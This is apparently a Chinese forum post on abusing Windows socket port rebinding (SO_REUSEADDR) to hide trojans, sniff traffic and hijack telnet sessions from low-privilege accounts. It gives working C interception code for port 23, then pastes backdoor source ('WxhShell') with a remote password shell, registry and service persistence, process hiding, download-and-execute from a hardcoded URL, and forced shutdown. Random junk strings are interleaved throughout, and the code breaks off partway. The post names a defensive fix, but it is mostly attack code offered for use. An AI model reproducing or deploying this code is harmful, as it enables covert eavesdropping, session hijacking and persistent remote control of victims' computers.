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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -gpHg  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <=@6UPsn2  
`h<>_zpjY  
  saddr.sin_family = AF_INET; 3]67U}`  
w$ jq2?l  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Nzl`mx16  
Kc+TcC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :a_MT  
C^*}*hYk$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -+kTw06_C  
&;%, Axc  
  这意味着什么?意味着可以进行如下的攻击: n\u3$nGL1`  
~{q; - &  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [S?`OF12  
Og?P5&C"9D  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `Wp y6o  
Nl9}*3r  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "MgTfUIiyD  
U|v@v@IBA  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +5H1n(6)  
Aq_?8Cd  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @m9dB P  
q m"AatA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 a#m T@l\  
'-_tF3x  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `$yi18F  
GSVLZF'+  
  #include *ch7z|wo.  
  #include _m3#g1m{  
  #include #|F5Kh"  
  #include    V@\A<q%jTs  
  DWORD WINAPI ClientThread(LPVOID lpParam);   e%^PVi  
  int main() O[z-K K<  
  { 3#Xv))w1  
  WORD wVersionRequested; #xt-65^  
  DWORD ret; cCqmrjUmV  
  WSADATA wsaData; As(6E}{S  
  BOOL val; jk1mP6'P|  
  SOCKADDR_IN saddr; mw~$;64;a  
  SOCKADDR_IN scaddr; tW%!|T5/  
  int err; M)CQ|P  
  SOCKET s; MsP`w3b  
  SOCKET sc; S&MF; E6  
  int caddsize; bH.f4-.u>)  
  HANDLE mt; WTwura,  
  DWORD tid;   M^0^l9w  
  wVersionRequested = MAKEWORD( 2, 2 ); e]D TK*W~  
  err = WSAStartup( wVersionRequested, &wsaData ); ~2O1$ou  
  if ( err != 0 ) { TCK<IZKLqK  
  printf("error!WSAStartup failed!\n"); 3($tD*!o  
  return -1; =qS\+  
  } ,AyQCUz{*?  
  saddr.sin_family = AF_INET; ^-%O  
   8HL8)G6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !uAqY\Is  
~Q+J1S]Fs  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @%I-15Jz  
  saddr.sin_port = htons(23); OVEQ^\Q5D  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vd0uI#g%#  
  { .`/6[Zp  
  printf("error!socket failed!\n"); #=czqZw  
  return -1; -"d&Ow7o  
  } DVw 04ay%  
  val = TRUE; =|IY[2^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 N==Y]Z$G  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W4]jx ]  
  { w %R=kY)o  
  printf("error!setsockopt failed!\n"); %( #kJZ  
  return -1; 0> U7]wZKc  
  } ShJBOaE; -  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; E$s?)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,XsBm+Q(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]".SW5b_  
E6clVa  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _dwJ;j`2  
  { 9zlhJ7i  
  ret=GetLastError(); [cw>; \J  
  printf("error!bind failed!\n"); 0E/16@6=  
  return -1; !z"nJC  
  } %D E_kwL  
  listen(s,2); !5K5;M_Ih"  
  while(1) }!jn%@_y@  
  { oC|']r6  
  caddsize = sizeof(scaddr);  |I s"ov  
  //接受连接请求 +H "j-:E@t  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); C |P(,Xp  
  if(sc!=INVALID_SOCKET) \'>d.'d  
  { ilkN3J  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^) 5*?8#  
  if(mt==NULL) u*8x.UE8C0  
  { /`b`ai8`8  
  printf("Thread Creat Failed!\n"); C ,#D4  
  break; PbY=?>0z  
  } \Z$MH`_nu  
  } P5oYv  
  CloseHandle(mt); ?pkGejcQ  
  } -~&T0dt~  
  closesocket(s); KdLj1T  
  WSACleanup(); dW Vm'd  
  return 0; -H"^;37T"  
  }   @P6*4W  
  DWORD WINAPI ClientThread(LPVOID lpParam) RpU.v `  
  { 9bu1Ax1M  
  SOCKET ss = (SOCKET)lpParam; pRFlmg@/}  
  SOCKET sc; h]p$r`i7  
  unsigned char buf[4096]; 4/ Xu,pT  
  SOCKADDR_IN saddr; Z^%aXaf8  
  long num; ]ujXPK=t  
  DWORD val; 6}?5Oy_XF2  
  DWORD ret; P/T`q:<H   
  //如果是隐藏端口应用的话,可以在此处加一些判断 3/EJ^C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Sv[$.^mb  
  saddr.sin_family = AF_INET; S=g E'"LT  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5@`dKFB5  
  saddr.sin_port = htons(23); $Sc;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xs$.EY:k  
  { X?n($z/ {  
  printf("error!socket failed!\n"); Mby V_A`r_  
  return -1; zC>zkFT>H  
  } k1Sr7|  
  val = 100; {1[f9uPS  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tJ Mm  
  { }W5~89"  
  ret = GetLastError(); :p.f zL6X  
  return -1; .pPtBqp  
  } c!J|vRA5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ->5[C0: ]  
  { f- ~]  
  ret = GetLastError(); F3&:KZ!V&m  
  return -1; TJz} 8-#t  
  } &?3P5dy_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) UaM&/K9  
  { _t@9WA;+\  
  printf("error!socket connect failed!\n"); GLa_[9 "  
  closesocket(sc); KKM!($A  
  closesocket(ss); +p0Y*.  
  return -1; W>J1JaO  
  } ?HP{>l0r  
  while(1) K8/I+#j  
  { QUz_2rN^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j:xm>X'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 uF<\|y rFt  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 YL9Tsw  
  num = recv(ss,buf,4096,0); DUyUA'*4n|  
  if(num>0)  n[  
  send(sc,buf,num,0); X{;5jnpG  
  else if(num==0) CzG/=#IU  
  break; (]sk3 A  
  num = recv(sc,buf,4096,0); ad`=A V]  
  if(num>0) Jek3K&  
  send(ss,buf,num,0); |#x]/AXa0/  
  else if(num==0) # &Z1d(!  
  break; HC(o;,spO  
  } ?<D1] Xv  
  closesocket(ss); RgLkAHA  
  closesocket(sc); JeU1r-i  
  return 0 ; apv"s+  
  } E rnGX#@v  
4 |xQQv  
R6qC0@*  
========================================================== BaOPtBYA:  
AqjEz+TVt  
下边附上一个代码,,WXhSHELL s Vg89I&  
ANXN.V  
========================================================== 2>Sr04Pt  
vKTCS  
#include "stdafx.h" d?>pcT)G_  
. /~#  
#include <stdio.h> qaEWK0  
#include <string.h> js)I%Z  
#include <windows.h> {z7kW@c  
#include <winsock2.h> a'B 5m]%  
#include <winsvc.h> _>i<`k  
#include <urlmon.h> ?oQAxb&  
MTeCmFe0;  
#pragma comment (lib, "Ws2_32.lib") 7hfa?Mcz  
#pragma comment (lib, "urlmon.lib") bC%}1wwh  
`bcCj~j  
#define MAX_USER   100 // 最大客户端连接数 c$~J7e6$  
#define BUF_SOCK   200 // sock buffer ~0Xx]  
#define KEY_BUFF   255 // 输入 buffer zmh5x{US1  
},vVc/  
#define REBOOT     0   // 重启 P*9L3R*=N  
#define SHUTDOWN   1   // 关机 nIv/B/>pZ  
F/0x` l  
#define DEF_PORT   5000 // 监听端口 5c-'m? k  
*" ,"u;&  
#define REG_LEN     16   // 注册表键长度 <77v8=as5  
#define SVC_LEN     80   // NT服务名长度 ,=y8[(h  
UjH+BC+9`b  
// 从dll定义API <R8!fc{`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lBfG#\rdW~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6x"|,,&MD0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $jL+15^N0+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~A-VgBbU>_  
07A2@dx  
// wxhshell配置信息 l5,}yTUta  
struct WSCFG { {y==8fCJ  
  int ws_port;         // 监听端口 _`q ei0  
  char ws_passstr[REG_LEN]; // 口令 Fn*)!,)  
  int ws_autoins;       // 安装标记, 1=yes 0=no PZSi}j/  
  char ws_regname[REG_LEN]; // 注册表键名 5vjtF4}7!  
  char ws_svcname[REG_LEN]; // 服务名 =\)qUs\z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #(d /A<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j8{,u6w)-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c4xXsUBQk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A.(xa+z?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LJ mRa  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IC@-`S#F  
>y^zagC*  
}; ,v>| Ub,  
1}b1RKKj<  
// default Wxhshell configuration ]|)M /U *  
struct WSCFG wscfg={DEF_PORT, _dynqF8*  
    "xuhuanlingzhe", VU(#5X%Pn  
    1, >}>cJh6  
    "Wxhshell", oSB0P  
    "Wxhshell", #;Z+ X)  
            "WxhShell Service", >d#Ks0\&  
    "Wrsky Windows CmdShell Service", S}XVr?l 2O  
    "Please Input Your Password: ", %XK<[BF  
  1, XyytO;X M-  
  "http://www.wrsky.com/wxhshell.exe", G~`nLC^Y  
  "Wxhshell.exe" s+E-M=d0e  
    }; #;9n_)  
n%}Vd `c  
// 消息定义模块 _,5)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?)'+l   
char *msg_ws_prompt="\n\r? for help\n\r#>"; HLp'^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S`Wau/7t  
char *msg_ws_ext="\n\rExit."; GXx/pBdy[4  
char *msg_ws_end="\n\rQuit."; iJ 8I# j+N  
char *msg_ws_boot="\n\rReboot..."; vV 7L :>  
char *msg_ws_poff="\n\rShutdown..."; 3M<T}>  
char *msg_ws_down="\n\rSave to "; 7P7d[KP<  
%eLf6|1x  
char *msg_ws_err="\n\rErr!"; ro*$OLc/  
char *msg_ws_ok="\n\rOK!"; O7GJg;>?  
L4H5#?'  
char ExeFile[MAX_PATH]; 8cv[|`<  
int nUser = 0; a0[Mx 4  
HANDLE handles[MAX_USER]; CAV Q[r5y  
int OsIsNt;  *"K7<S[  
|!?`KO{  
SERVICE_STATUS       serviceStatus; |4A938'4j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {1]/ok2k5  
T^n0=|  
// 函数声明 ctWH?b/ua  
int Install(void); $Y31Y A  
int Uninstall(void); u!K5jqP  
int DownloadFile(char *sURL, SOCKET wsh); V( bU=;Qo  
int Boot(int flag); gCc::[}\Y  
void HideProc(void); ejI nJ  
int GetOsVer(void); O^yD b  
int Wxhshell(SOCKET wsl); @$%[D`Wa<  
void TalkWithClient(void *cs); Zi~-m]9U  
int CmdShell(SOCKET sock); i>n)T  
int StartFromService(void); n8vteGQ  
int StartWxhshell(LPSTR lpCmdLine); BA cnFO  
$Hbd:1%i {  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Uv"O'Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @8xa"Dc  
W! q-WU  
// 数据结构和表定义 8.R~Ys*  
SERVICE_TABLE_ENTRY DispatchTable[] = T|FF&|Pk  
{ E]IPag8C  
{wscfg.ws_svcname, NTServiceMain}, IL2OVLX  
{NULL, NULL} J|GEt@o3  
}; 'Xw> ?[BB  
sQ8_j  
// 自我安装 +p#Q|o'  
int Install(void) l4`HuNR1  
{ ;H:+w\?8f$  
  char svExeFile[MAX_PATH]; Ci?A4q$.  
  HKEY key; HtbN7V/  
  strcpy(svExeFile,ExeFile); <764|q  
Q]oCzSi  
// 如果是win9x系统,修改注册表设为自启动 e#j kp'  
if(!OsIsNt) { p^ojhrr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '}eA2Q>BV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gm}[`GMU  
  RegCloseKey(key); yQ M<(;\O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &*3O+$L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FeAMt  
  RegCloseKey(key); !>Ru= $9  
  return 0; $2+(|VG4F  
    } dl&402  
  } y%^TZ[S  
} *dE5yS`H  
else { :UdH}u!Ek  
 y+.E}  
// 如果是NT以上系统,安装为系统服务 yJ!x`RD),w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8F*"z^vD=  
if (schSCManager!=0) GVl TW?5  
{ Gv uX"J  
  SC_HANDLE schService = CreateService w~I;4p~(N  
  ( 3om4q2R  
  schSCManager, w` ;>+_ E7  
  wscfg.ws_svcname, b`Agb <x"  
  wscfg.ws_svcdisp, /,cyp .  
  SERVICE_ALL_ACCESS, o$FYCz n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E5U{.45  
  SERVICE_AUTO_START, )@OKL0t  
  SERVICE_ERROR_NORMAL,  %SSBXWP  
  svExeFile, 8rwXbYx x  
  NULL, C-6m[W8S  
  NULL, 4RXF.kJ3=  
  NULL, 'E#;`}&Ah  
  NULL, wX!>&Gc.  
  NULL O=LiCSNEV  
  ); >u)DuZXj  
  if (schService!=0) ehCZhi~  
  { uk)6%  
  CloseServiceHandle(schService); =u^{Jvl[  
  CloseServiceHandle(schSCManager); Skn2-8;10  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7 ,![oY[  
  strcat(svExeFile,wscfg.ws_svcname); ahJu+y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wmf#3"n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?()$imb*  
  RegCloseKey(key); Mm'q4DV^  
  return 0; Jm(sx'qPx  
    } f<T"# G$5  
  } #MhieG5  
  CloseServiceHandle(schSCManager); 'K0=FPB/@  
} 4M4oI .  
} hz8Z)xjJ V  
V.k2t$@  
return 1; XK 09x1r  
} z8"(Yy7m  
D>~S-]  
// 自我卸载 4H\+vJPM  
int Uninstall(void) 9uL="z$\  
{ yF#:*Vz>  
  HKEY key; ~>]/1JFz  
JG=U@I]  
if(!OsIsNt) { jdF~0#vH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NgXV|) L  
  RegDeleteValue(key,wscfg.ws_regname); #g6*s+Gm  
  RegCloseKey(key); "ccP,#Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~dO&e=6Hk  
  RegDeleteValue(key,wscfg.ws_regname); z2GT9  
  RegCloseKey(key); MCcWRbE5#  
  return 0; s{]2~Z^2od  
  } a#qC.,$A  
} edW:(19}  
} MSMgaw?  
else { [sT}hYh+  
- #ta/*TT:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8eVQnp*  
if (schSCManager!=0)  HSR^R  
{ cI Byv I-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Dm.tYG  
  if (schService!=0) =H\ig%%E@  
  { =!RlU)w  
  if(DeleteService(schService)!=0) { ct3^V M&/  
  CloseServiceHandle(schService); =h{j F7  
  CloseServiceHandle(schSCManager); X!w&ib-  
  return 0; c G`R\ $  
  } du:%{4  
  CloseServiceHandle(schService); GGY WvGE+  
  } k^ZcgHHgb  
  CloseServiceHandle(schSCManager); nd 5w|83  
}  !AGjiP$  
} E2D}F@<]  
h 'F\9t  
return 1; 5l&9BS&  
} 4X5Tyv(Dp  
EZ.|6oug\  
// 从指定url下载文件 Yc*Ex-s  
int DownloadFile(char *sURL, SOCKET wsh) 3]X~bQAw  
{ ^?5 [M^  
  HRESULT hr; Po=@ 6oB  
char seps[]= "/"; jnl3P[uQ  
char *token; kh'R/Dt  
char *file; xfE:r:  
char myURL[MAX_PATH]; (Es0n$Xb  
char myFILE[MAX_PATH]; 7Qc 4Oz:t  
!M[a/7x,p  
strcpy(myURL,sURL); ;U^7 ]JO;  
  token=strtok(myURL,seps); 5ecAev^1-  
  while(token!=NULL) TZ]D6.mD  
  { }4; \sY  
    file=token; j/FFxlFNL  
  token=strtok(NULL,seps); cS'|c06  
  } Yzr|Z7r q}  
KH<f=?b  
GetCurrentDirectory(MAX_PATH,myFILE); <~[ A  
strcat(myFILE, "\\"); Q0}Sju+HX  
strcat(myFILE, file); 2JV,A Zf  
  send(wsh,myFILE,strlen(myFILE),0); 6S~l gH:  
send(wsh,"...",3,0); <L72nwcK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "s6O|=^*  
  if(hr==S_OK) 16p$>a<6  
return 0; ^h:%%\2  
else v/4Bt2J  
return 1; ?G#T6$E8  
5DHFxym'  
} Z|z+[V}[  
`qjiC>9  
// 系统电源模块 A7;|~??  
int Boot(int flag) FTihxC?.L  
{ q0oNRAvn"  
  HANDLE hToken; 1i.t^PY  
  TOKEN_PRIVILEGES tkp; nI-^   
;JK !dzi}  
  if(OsIsNt) { vB:_|B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,DHiM-v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \ >@'wl  
    tkp.PrivilegeCount = 1; Z?vbe}pUM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U(.3[x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {!B^nCSL  
if(flag==REBOOT) { aK%i=6j!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g]=w_  
  return 0; GTw3rD^wg  
} (>OCLmV$  
else { n 2k&yL+a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =]OG5b_-Y  
  return 0; !Ol>![  
} @ y (9LSs  
  } )<D(Mb 2p|  
  else { r&G=}ZMO  
if(flag==REBOOT) { 2VNMz[W'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K#B)@W?9  
  return 0; A&$oiLc  
} .H,wdzg)  
else { TZT1nj"n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H$ !78/f  
  return 0; fNVNx~E  
} l%aiG+z%6}  
} )$*T>.JA  
o*OaYF'8  
return 1; ;xnJ+$//U  
} kp~@Ub @O3  
wX3x.@!:  
// win9x进程隐藏模块 Z;^UY\&X  
void HideProc(void) A 'Q nL  
{ "]%.%$  
9tW=9<E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Yy4? |wVl  
  if ( hKernel != NULL ) y%X{[F  
  { ?(cbZ#( o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <bPn<QI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @ (UacFO  
    FreeLibrary(hKernel); 7*e7P[LQU  
  } A~CQ@  
IAD_Tck  
return; 3H0~?z_  
} UIUCj8QJg  
rUX1Iu7  
// 获取操作系统版本 D Hkmn  
int GetOsVer(void) 4uW}.7R'  
{ H0Q.; !^  
  OSVERSIONINFO winfo; p/|": (U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z|YiYQl[)  
  GetVersionEx(&winfo); A9_)}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3Z *'  
  return 1; NR8YVO)5$  
  else TSQ/{=r  
  return 0; `TM[7'  
} HWFI6N  
w6k\po=  
// 客户端句柄模块 {iGk~qN  
int Wxhshell(SOCKET wsl) niZ/yW{w  
{ IK%fX/tDyc  
  SOCKET wsh; f^8,Z+n  
  struct sockaddr_in client; p}qNw`  
  DWORD myID; C.r9)#G  
|22~.9S  
  while(nUser<MAX_USER) -kp! .c  
{ >&0)d7Nu8m  
  int nSize=sizeof(client); RO-ABFEi(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;?/v}$Pa  
  if(wsh==INVALID_SOCKET) return 1; Ou~|Q&f'  
qB`zyd8yu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;><9R@0  
if(handles[nUser]==0) 6Q&R,"!$p  
  closesocket(wsh); . Q3GA0O  
else <lHelX=/  
  nUser++; ,Db+c3  
  } DP=4<ES%+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #!wL0 p  
~ {sRK  
  return 0; %m:T?![XO  
} T&_!AjH  
%,u_ `P  
// 关闭 socket PTfy#  
void CloseIt(SOCKET wsh) :T5p6:  
{ nu {bEp  
closesocket(wsh); Is~bA_- ;  
nUser--; p)d0ZAs  
ExitThread(0); v3w5+F  
}  -lM4*+f  
mOj6 4}_`"  
// 客户端请求句柄 *@J  
void TalkWithClient(void *cs) <(Ub(  
{ mmrx*sr=  
=W1`FbR  
  SOCKET wsh=(SOCKET)cs; #un#~s 7Q  
  char pwd[SVC_LEN]; gn&jNuGg  
  char cmd[KEY_BUFF]; ]| oh1q  
char chr[1];  Py$*c  
int i,j; 5gP#V K  
%k8} IBL  
  while (nUser < MAX_USER) { a9 =,P  
r2A(GUz  
if(wscfg.ws_passstr) { m2[q*k]AtS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 73?ZB+\)0A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^ q]BCOfJ(  
  //ZeroMemory(pwd,KEY_BUFF); GWZ0!V  
      i=0; Ds|/\cI$%a  
  while(i<SVC_LEN) { &P>wIbE  
k> I;mEV  
  // 设置超时 ' bio: 1  
  fd_set FdRead; \/C-e  
  struct timeval TimeOut; (`}O!;/E}  
  FD_ZERO(&FdRead); .@#i  
  FD_SET(wsh,&FdRead); ShAI6j  
  TimeOut.tv_sec=8;  WDr'w'  
  TimeOut.tv_usec=0; ^Z7])arA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {6YLiQ*_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Yr@)W~  
?pdvFM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7bioLE  
  pwd=chr[0]; Ug=8:a(U.  
  if(chr[0]==0xd || chr[0]==0xa) { /[YH  W]  
  pwd=0; eiB5 8b3  
  break; mA:NAV $!s  
  } `X8AM=  
  i++; ^\kv> WBE  
    } g+gHIb7{  
kd9rvy0oK  
  // 如果是非法用户,关闭 socket "=I ioY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O@ jW&-;  
} JFVal#  
T69'ta32V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HVzG }r(J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :&Xy#.un  
CK1Xdyf_S  
while(1) { 6y&d\_?Y  
(9x8,f0z  
  ZeroMemory(cmd,KEY_BUFF); CW>f;  
{.2A+JT,  
      // 自动支持客户端 telnet标准   n|F$qV_p\  
  j=0; cCN[c)[c|  
  while(j<KEY_BUFF) { L_uliBn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O#Ab1FQn  
  cmd[j]=chr[0]; \?)@ #Qs  
  if(chr[0]==0xa || chr[0]==0xd) { 6P;JF%{J  
  cmd[j]=0; N<ww&GXBX  
  break; _@0>y MZ^  
  } ou6|;*>d  
  j++; l+S08IZ  
    } ^+cf  
)`]w\s #  
  // 下载文件 6R% I)  
  if(strstr(cmd,"http://")) { X_XeI!,b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); IGs!SXclCs  
  if(DownloadFile(cmd,wsh)) C,:3z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'S<ebwRd=  
  else TfK$tTkM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N?0T3-/K  
  } 5!,`LM9  
  else { @qH{;  
H"f%\'  
    switch(cmd[0]) { ?g2Wu0<  
  Gc}d#oo*k  
  // 帮助 >(EMZ5  
  case '?': { :M(%sv</  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ; 1K[N0xE  
    break; 9/ R|\  
  } OpmI" 4{+  
  // 安装 8E{<t}  
  case 'i': { @%@uZqQ4  
    if(Install()) ;cIs$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Ad$Q9)EE  
    else =if5$jE3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  qJ!&H  
    break; D 4^2F(YRX  
    } T:S+P t~  
  // 卸载  g!5`R`7  
  case 'r': { x]6OE]]8L  
    if(Uninstall()) Zuod1;qIh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aB~?Y+m  
    else "Q;n-fqf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q?'*T?|  
    break; !Y/$I?13Z  
    } !q!.OQ  
  // 显示 wxhshell 所在路径 fLl~a[(5  
  case 'p': { ai[st+1  
    char svExeFile[MAX_PATH]; WP7*Q:5  
    strcpy(svExeFile,"\n\r"); 4Y8/>uL  
      strcat(svExeFile,ExeFile); A?'Tigi  
        send(wsh,svExeFile,strlen(svExeFile),0); `yJpDGh  
    break; !]7r>NS>  
    } EXUjdJs"  
  // 重启 5 rkIK  
  case 'b': { W\gu"g`u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KOVGwEj  
    if(Boot(REBOOT)) JX@/rXFY}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TG'_1m*$  
    else { `~QS3zq  
    closesocket(wsh); GGsDR%U  
    ExitThread(0); ZFh2v]|!  
    } WPiQ+(pt  
    break; 4M'y9(  
    } 82Dw,Cn  
  // 关机 %JmSCjt`G  
